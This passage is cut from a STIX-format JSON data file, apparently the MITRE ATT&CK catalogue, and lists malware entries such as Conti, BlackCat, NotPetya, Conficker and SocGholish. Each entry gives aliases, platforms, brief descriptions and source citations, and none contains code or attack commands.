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[Gamaredon Group](https://attack.mitre.org/groups/G0047) infrastructure has been used to download and execute [InvisiMole](https://attack.mitre.org/software/S0260) against a small number of victims.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "x_mitre_version": "2.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Linux", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["P.A.S. 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Enhanced Analysis of GRIZZLY STEPPE Activity. Retrieved April 12, 2021."}], "modified": "2021-04-13T13:10:36.820Z", "name": "P.A.S. Webshell", "description": "[P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-02T21:29:35.492Z", "name": "QUIETEXIT", "description": "[QUIETEXIT](https://attack.mitre.org/software/S1084) is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021. [APT29](https://attack.mitre.org/groups/G0016) has deployed [QUIETEXIT](https://attack.mitre.org/software/S1084) on opaque network appliances that typically don't support antivirus or endpoint detection and response tools within a victim environment.(Citation: Mandiant APT29 Eye Spy Email Nov 22)", "x_mitre_platforms": ["Network"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Joe Gumke, U.S. Bank"], "x_mitre_aliases": ["QUIETEXIT"], "type": "malware", "id": "malware--4816d361-f82b-4a18-aa05-b215e7cf9200", "created": "2023-08-17T17:06:19.976Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1084", "external_id": "S1084"}, {"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Naid"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", "type": "malware", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0205", "external_id": "S0205"}, {"source_name": "Naid", "description": "(Citation: Symantec Naid June 2012)"}, {"source_name": "Symantec Naid June 2012", "description": "Neville, A. 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(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T22:16:05.440Z", "name": "Volgmer", "description": "[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. 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Retrieved July 16, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}, {"source_name": "US-CERT Volgmer Nov 2017", "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"}, {"source_name": "Symantec Volgmer Aug 2014", "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. 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[Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.2", "x_mitre_contributors": ["Daniyal Naeem, BT Security"], "x_mitre_aliases": ["Conti"], "type": "malware", "id": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "created": "2021-02-17T18:51:57.710Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0575", "external_id": "S0575"}, {"source_name": "Conti", "description": "(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)"}, {"source_name": "CarbonBlack Conti July 2020", "description": "Baskin, B. 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It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.3", "x_mitre_aliases": ["Raindrop"], "type": "malware", "id": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", "created": "2021-01-19T19:43:27.828Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0565", "external_id": "S0565"}, {"source_name": "Raindrop", "description": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}, {"source_name": "Microsoft Deep Dive Solorigate January 2021", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). 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It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. 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(2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}], "modified": "2021-10-18T13:42:10.432Z", "name": "Siloscape", "description": "[Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-06-15T18:33:45.154Z", "name": "BlackCat", "description": "[BlackCat](https://attack.mitre.org/software/S1068) is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, [BlackCat](https://attack.mitre.org/software/S1068) has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)(Citation: ACSC BlackCat Apr 2022)", "x_mitre_platforms": ["Linux", "Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Hiroki Nagahama, NEC Corporation", "Josh Arenas, Trustwave Spiderlabs", "Manikantan Srinivasan, NEC Corporation India", "Pooja Natarajan, NEC Corporation India"], "x_mitre_aliases": ["BlackCat", "ALPHV", "Noberus"], "type": "malware", "id": "malware--50c44c34-3abb-48ae-9433-a2337de5b0bc", "created": "2023-02-28T20:50:36.164Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1068", "external_id": "S1068"}, {"source_name": "Noberus", "description": "(Citation: ACSC BlackCat Apr 2022)"}, {"source_name": "ALPHV", "description": "(Citation: Microsoft BlackCat Jun 2022)(Citation: ACSC BlackCat Apr 2022)"}, {"source_name": "ACSC BlackCat Apr 2022", "description": "Australian Cyber Security Centre. (2022, April 14). 2022-004: ACSC Ransomware Profile - ALPHV (aka BlackCat). Retrieved December 20, 2022.", "url": "https://www.cyber.gov.au/about-us/advisories/2022-004-acsc-ransomware-profile-alphv-aka-blackcat"}, {"source_name": "Sophos BlackCat Jul 2022", "description": "Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.", "url": "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/"}, {"source_name": "Microsoft BlackCat Jun 2022", "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.", "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:29:45.766Z", "name": "Fysbis", "description": "[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)", "x_mitre_platforms": ["Linux"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.4", "x_mitre_aliases": ["Fysbis"], "type": "malware", "id": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", "created": "2019-09-12T17:40:38.303Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0410", "external_id": "S0410"}, {"source_name": "Fysbis Palo Alto Analysis", "description": "Bryan Lee and Rob Downs. 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(2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. 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Though [DCSrv](https://attack.mitre.org/software/S1033) has ransomware-like capabilities, [Moses Staff](https://attack.mitre.org/groups/G1009) does not demand ransom or offer a decryption key.(Citation: Checkpoint MosesStaff Nov 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Hiroki Nagahama, NEC Corporation", "Pooja Natarajan, NEC Corporation India", "Manikantan Srinivasan, NEC Corporation India"], "x_mitre_aliases": ["DCSrv"], "type": "malware", "id": "malware--5633ffd3-81ef-4f98-8f93-4896b03998f0", "created": "2022-08-11T22:31:31.468Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1033", "external_id": "S1033"}, {"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. (2021, November 15). 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Security researchers assessed [Rising Sun](https://attack.mitre.org/software/S0448) included some source code from [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Trojan Duuzer.(Citation: McAfee Sharpshooter December 2018)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.1", "x_mitre_aliases": ["Rising Sun"], "type": "malware", "id": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "created": "2020-05-14T22:29:25.653Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0448", "external_id": "S0448"}, {"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. 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[NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_version": "2.0", "x_mitre_aliases": ["NotPetya", "ExPetr", "Diskcoder.C", "GoldenEye", "Petrwrap", "Nyetya"], "type": "malware", "id": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", "created": "2019-03-26T15:02:14.907Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0368", "external_id": "S0368"}, {"source_name": "ExPetr", "description": "(Citation: ESET Telebots June 2017)"}, {"source_name": "Diskcoder.C", "description": "(Citation: ESET Telebots June 2017)"}, {"source_name": "GoldenEye", "description": "(Citation: Talos Nyetya June 2017)"}, {"source_name": "Nyetya", "description": "(Citation: Talos Nyetya June 2017)"}, {"source_name": "Petrwrap", "description": "(Citation: Talos Nyetya June 2017)(Citation: ESET Telebots June 2017)"}, {"source_name": "ESET Telebots June 2017", "description": "Cherepanov, A.. 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(2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-29T03:39:40.754Z", "name": "ShimRat", "description": "[ShimRat](https://attack.mitre.org/software/S0444) has been used by the suspected China-based adversary [Mofang](https://attack.mitre.org/groups/G0103) in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"[ShimRat](https://attack.mitre.org/software/S0444)\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. 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Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}, {"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}], "modified": "2021-10-15T11:41:06.816Z", "name": "BADFLICK", "description": "[BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["ObliqueRAT"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", "type": "malware", "created": "2021-09-08T19:53:27.937Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0644", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0644"}, {"source_name": "Talos Oblique RAT March 2021", "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}, {"source_name": "Talos Transparent Tribe May 2021", "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}], "modified": "2021-10-15T14:43:12.250Z", "name": "ObliqueRAT", "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["SHOTPUT", "Backdoor.APT.CookieCutter", "Pirpi"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", "type": "malware", "created": "2017-05-31T21:32:42.754Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0063", "external_id": "S0063"}, {"source_name": "Backdoor.APT.CookieCutter", "description": "(Citation: FireEye Clandestine Fox Part 2)"}, {"source_name": "Pirpi", "description": "(Citation: FireEye Clandestine Fox Part 2)"}, {"source_name": "FireEye Clandestine Wolf", "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"}, {"source_name": "FireEye Clandestine Fox Part 2", "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"}], "modified": "2020-03-30T18:09:41.437Z", "name": "SHOTPUT", "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). 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Retrieved August 19, 2021."}, {"source_name": "Arxiv Avaddon Feb 2021", "url": "https://arxiv.org/pdf/2102.04796.pdf", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-10-18T21:41:22.437Z", "name": "Avaddon", "description": "[Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-08T22:15:47.458Z", "name": "Conficker", "description": "[Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["Conficker", "Kido", "Downadup"], "type": "malware", "id": "malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "created": "2021-02-23T20:50:32.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0608", "external_id": "S0608"}, {"source_name": "Kido", "description": "(Citation: SANS Conficker) "}, {"source_name": "Downadup", "description": "(Citation: SANS Conficker) "}, {"source_name": "SANS Conficker", "description": "Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021.", "url": "https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm"}, {"source_name": "Conficker Nuclear Power Plant", "description": "Cimpanu, C. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved February 18, 2021.", "url": "https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-06T00:08:07.956Z", "name": "SocGholish", "description": "[SocGholish](https://attack.mitre.org/software/S1124) is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by [Mustard Tempest](https://attack.mitre.org/groups/G1020) and its access has been sold to groups including [Indrik Spider](https://attack.mitre.org/groups/G0119) for downloading secondary RAT and ransomware payloads.(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile) ", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["SocGholish", "FakeUpdates"], "type": "malware", "id": "malware--5911d2ca-64f6-49b3-b94f-29b5d185085c", "created": "2024-03-22T19:21:30.424Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1124", "external_id": "S1124"}, {"source_name": "FakeUpdates", "description": "(Citation: Red Canary SocGholish March 2024)"}, {"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}, {"source_name": "SentinelOne SocGholish Infrastructure November 2022", "description": "Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.", "url": "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"}, {"source_name": "Red Canary SocGholish March 2024", "description": "Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.", "url": "https://redcanary.com/threat-detection-report/threats/socgholish/"}, {"source_name": "Secureworks Gold Prelude Profile", "description": "Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.", "url": "https://www.secureworks.com/research/threat-profiles/gold-prelude"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Hannah Simes, BT Security"], "x_mitre_aliases": ["Flagpro"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "type": "malware", "created": "2022-03-25T14:58:24.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0696", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0696"}, {"source_name": "Flagpro ", "description": "(Citation: NTT Security Flagpro new December 2021)"}, {"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-04-01T14:41:47.579Z", "name": "Flagpro", "description": "[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021) ", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:20:26.551Z", "name": "Hi-Zor", "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Hi-Zor"], "type": "malware", "id": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", "created": "2017-05-31T21:32:56.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0087", "external_id": "S0087"}, {"source_name": "Fidelis Hi-Zor", "description": "Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.", "url": "https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["SpicyOmelette"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0", "type": "malware", "created": "2021-09-21T14:55:00.996Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0646", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0646"}, {"source_name": "Secureworks GOLD KINGSWOOD September 2018", "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}], "modified": "2021-10-18T16:42:45.608Z", "name": "SpicyOmelette", "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["XAgentOSX", "OSX.Sofacy"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", "type": "malware", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0161", "external_id": "S0161"}, {"source_name": "XAgentOSX", "description": "(Citation: XAgentOSX 2017)"}, {"source_name": "OSX.Sofacy", "description": "(Citation: Symantec APT28 Oct 2018)"}, {"url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "source_name": "XAgentOSX 2017"}, {"description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government", "source_name": "Symantec APT28 Oct 2018"}], "modified": "2020-03-30T18:30:21.733Z", "name": "XAgentOSX", "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007)  on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)", "x_mitre_version": "1.3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows", "iOS", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Runa Sandvik"], "x_mitre_aliases": ["Green Lambert"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "created": "2022-03-21T20:55:40.638Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "S0690", "url": "https://attack.mitre.org/software/S0690"}, {"source_name": "Green Lambert", "description": "(Citation: Kaspersky Lamberts Toolkit April 2017)"}, {"source_name": "Kaspersky Lamberts Toolkit April 2017", "url": "https://securelist.com/unraveling-the-lamberts-toolkit/77990/", "description": "GREAT. (2017, April 11). Unraveling the Lamberts Toolkit. Retrieved March 21, 2022."}, 